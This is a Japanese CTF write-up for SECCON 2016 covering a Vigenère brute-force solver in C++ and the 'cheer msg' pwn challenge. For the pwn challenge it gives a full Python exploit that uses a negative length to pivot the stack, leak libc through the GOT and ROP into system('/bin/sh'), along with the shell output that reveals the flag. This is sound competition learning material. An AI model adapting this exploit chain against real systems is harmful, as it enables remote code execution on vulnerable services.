SECCON 2016 Online writeup

SECCON 2016 Online writeup

yharima チームで参加.結果は 500 pts 145 th でした.
今回はとても難しかった….まだまだ力不足を実感しました.頑張らなければ.
自分は2問 + 1問は手伝いという感じでした.

その手伝ったりしたメンバーのブログもおいておきます.
SECCON 2016 Online CTF Writeup | にろきのメモ帳

Vigenere

ヴィジュネル暗号で暗号化された文章を復号する問題.
key の長さと plain の一部および cipher のすべて,そして md5(plain) が与えられる.
ひとまずヴィジュネル暗号を Wikipedia で学習したあと復号していく.
SECCON{ までは plain が分かっているので key の先頭7文字がわかる.
あと md5(plain) が与えられているので残り key の末尾5文字を総当りで調べて md5 が一致するようにすれば良い.
最初は適当に手を抜いてコマンドの md5 を shell 経由で叩いていたけどおそすぎたので,
cpp で書き直した. md5 自体は適当にググってもってきたライブラリを使った.
クソみたいなコードは以下.

#include <iostream>
#include <string>
#include <vector>
#include "md5.h"
using namespace std;

int c2i(char c) {
    if (c == '{') {
        return 26;
    }
    if (c == '}') {
        return 27;
    }
    return c - 'A';
}

char i2c(int n) {
    if (n == 26) {
        return '{';
    }
    if (n == 27) {
        return '}';
    }
    return 'A' + n;
}

void solve(string& key, string& cipher, const vector<string>& v) {
    string plain(cipher.size(), '?');
    for (unsigned int i = 0; i < cipher.size(); ++i) {
        const int kk = i % key.size();
        if (key[kk] == '?') {
            continue;
        }

        const int y = c2i(key[kk]);
        for (int j = 0; j < v[y].size(); ++j) {
            if (v[y][j] == cipher[i]) {
                plain[i] = i2c(j);
                break;
            }
        }
    }

    if (md5(plain) == "f528a6ab914c1ecf856a1d93103948fe") {
        cout << plain << endl;
    }
}


int main() {
    string key = "VIGENER";
    string cipher = "LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ";

    vector<string> v;
    v.push_back("ABCDEFGHIJKLMNOPQRSTUVWXYZ{}");
    v.push_back("BCDEFGHIJKLMNOPQRSTUVWXYZ{}A");
    v.push_back("CDEFGHIJKLMNOPQRSTUVWXYZ{}AB");
    v.push_back("DEFGHIJKLMNOPQRSTUVWXYZ{}ABC");
    v.push_back("EFGHIJKLMNOPQRSTUVWXYZ{}ABCD");
    v.push_back("FGHIJKLMNOPQRSTUVWXYZ{}ABCDE");
    v.push_back("GHIJKLMNOPQRSTUVWXYZ{}ABCDEF");
    v.push_back("HIJKLMNOPQRSTUVWXYZ{}ABCDEFG");
    v.push_back("IJKLMNOPQRSTUVWXYZ{}ABCDEFGH");
    v.push_back("JKLMNOPQRSTUVWXYZ{}ABCDEFGHI");
    v.push_back("KLMNOPQRSTUVWXYZ{}ABCDEFGHIJ");
    v.push_back("LMNOPQRSTUVWXYZ{}ABCDEFGHIJK");
    v.push_back("MNOPQRSTUVWXYZ{}ABCDEFGHIJKL");
    v.push_back("NOPQRSTUVWXYZ{}ABCDEFGHIJKLM");
    v.push_back("OPQRSTUVWXYZ{}ABCDEFGHIJKLMN");
    v.push_back("PQRSTUVWXYZ{}ABCDEFGHIJKLMNO");
    v.push_back("QRSTUVWXYZ{}ABCDEFGHIJKLMNOP");
    v.push_back("RSTUVWXYZ{}ABCDEFGHIJKLMNOPQ");
    v.push_back("STUVWXYZ{}ABCDEFGHIJKLMNOPQR");
    v.push_back("TUVWXYZ{}ABCDEFGHIJKLMNOPQRS");
    v.push_back("UVWXYZ{}ABCDEFGHIJKLMNOPQRST");
    v.push_back("VWXYZ{}ABCDEFGHIJKLMNOPQRSTU");
    v.push_back("WXYZ{}ABCDEFGHIJKLMNOPQRSTUV");
    v.push_back("XYZ{}ABCDEFGHIJKLMNOPQRSTUVW");
    v.push_back("YZ{}ABCDEFGHIJKLMNOPQRSTUVWX");
    v.push_back("Z{}ABCDEFGHIJKLMNOPQRSTUVWXY");
    v.push_back("{}ABCDEFGHIJKLMNOPQRSTUVWXYZ");
    v.push_back("}ABCDEFGHIJKLMNOPQRSTUVWXYZ{");

    for (int i = 0; i < v[0].size(); ++i) {
        for (int j = 0; j < v[0].size(); ++j) {
            for (int k = 0; k < v[0].size(); ++k) {
                for (int l = 0; l < v[0].size(); ++l) {
                    for (int m = 0; m < v[0].size(); ++m) {
                        string a = key + v[0][i] + v[0][j] + v[0][k] + v[0][l] + v[0][m];
                        solve(a, cipher, v);
                    }
                }
            }
        }
    }
    return 0;
}

cheer msg

objdump したり gdb で動かしたり,チームメンバーと相談したりと色々調べていると,
どうやら最初の Message Length に負数を入れると esp を操作することができ,
message 関数内に入った後の入力で main 関数からの戻りアドレスを任意のものに書き換えれることが判明.
しかも, main 関数には stack_chk_fail がないのでそのまま ROP につなげることができる. ここまでわかれば,1回目はスタックを以下のように積んで got を leak させる.

------------------------
printf@plt のアドレス
------------------------
main 関数のアドレス
------------------------
書式指定文字列(今回は `Message : %s` の一部を利用)
------------------------
setbuf@plt が指している GOT アドレス
------------------------

ここで leak した GOT のアドレスから libc の base アドレスがわかるので,
問題で配布されている libc から以下のように setbuf, system, /bin/sh のアドレスを得る.

yuta1024@yharima:~$ strings -a -tx libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 | grep "sh$"
   e45b inet6_opt_finish
   f397 _IO_wdefault_finish
   f97b _IO_fflush
  117fe _IO_file_finish
  11cf9 bdflush
  1214b tcflush
  123fd _IO_default_finish
 15df25 Trailing backslash
 15e3f8 sys/net/ash
 16084c /bin/sh
 1627b0 /bin/csh
 1ab831 .gnu.hash

yuta1024@yharima:~$ nm -D libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 | grep system
00040310 T __libc_system
001193c0 T svcerr_systemerr
00040310 W system

yuta1024@yharima:~$ nm -D libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 | grep setbuf
0006de50 T _IO_file_setbuf
001278a0 T _IO_file_setbuf
00065d80 T _IO_setbuffer
00067b20 T setbuf
00065d80 W setbuffer

libc の base アドレスは, leak した setbuf の GOT - 0x00067b20 で求まるので,
求めた libc の base アドレスにそれぞれ上記で得たアドレスを加算してあげればそれぞれのアドレスが求まる.
あとは, leak 後に再度実行するようにした main 関数で同様にスタックを以下のように積んでシェルを起動する.

------------------------
system 関数のアドレス
------------------------
AAAA(なんでも良い)
------------------------
/bin/sh
------------------------

あとは python のコードに書き下せば良い.
とても馬鹿なことに libc が配布されているのに libcdb で検索したアドレスを使ったせいで,
1時間くらいシェルがあがらねー,とかいうことを言っていた.反省.

$ python cheer.py
setbuf: 0xf759db20
libc_base: 0xf7536000
system_got: 0xf7576310
binsh_addr: 0xf769684c
[*] send -112
[*] recv
[*] send exploit code
[*] recv

Thank you BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBcW�AAAALhi�!
Message :

===== get shell!!!! =====
ls -l
total 16
-rwxr-xr-x 1 root cheer_msg 7701 Dec  3 17:06 cheer_msg
-rw-r--r-- 1 root cheer_msg   25 Dec  5 00:01 flag.txt
-rwxr-xr-x 1 root cheer_msg   34 Dec  4 23:20 run.sh
cat flag.txt
SECCON{N40.T_15_ju571c3}

書いたクソみたいなコードは以下.

import sys

import socket
import struct
import telnetlib

def p(p):
  return struct.pack('<I', p)

def u(p):
  return struct.unpack('<I', p)[0]

def interact(s):
  print "===== get shell!!!! ====="
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('cheermsg.pwn.seccon.jp', 30527))

msg = s.recv(1024)
s.send("-112\n");
msg =  s.recv(1024)

buf = 'A' * 32
buf += p(0x08048430)
buf += p(0x080485ca)
buf += p(0x08048890)
buf += p(0x0804a00c)

s.send(buf + "\n")

msg = s.recv(1024)
msg = s.recv(1024)

setbuf_got = u(msg[78:82])
libc_base = setbuf_got - 0x00067b20
system_got = libc_base + 0x00040310
binsh_addr = libc_base + 0x0016084c

print 'setbuf: 0x%x' % setbuf_got
print 'libc_base: 0x%x' % libc_base
print 'system_got: 0x%x' % system_got
print 'binsh_addr: 0x%x' % binsh_addr


print '[*] send -112'
s.send("-112\n");

print '[*] recv'
s.recv(1024)
s.recv(1024)

print '[*] send exploit code'
buf = 'B' * 32
buf += p(system_got)
buf += 'AAAA'
buf += p(binsh_addr)
s.send(buf + "\n")

print '[*] recv'
print s.recv(1024)

interact(s)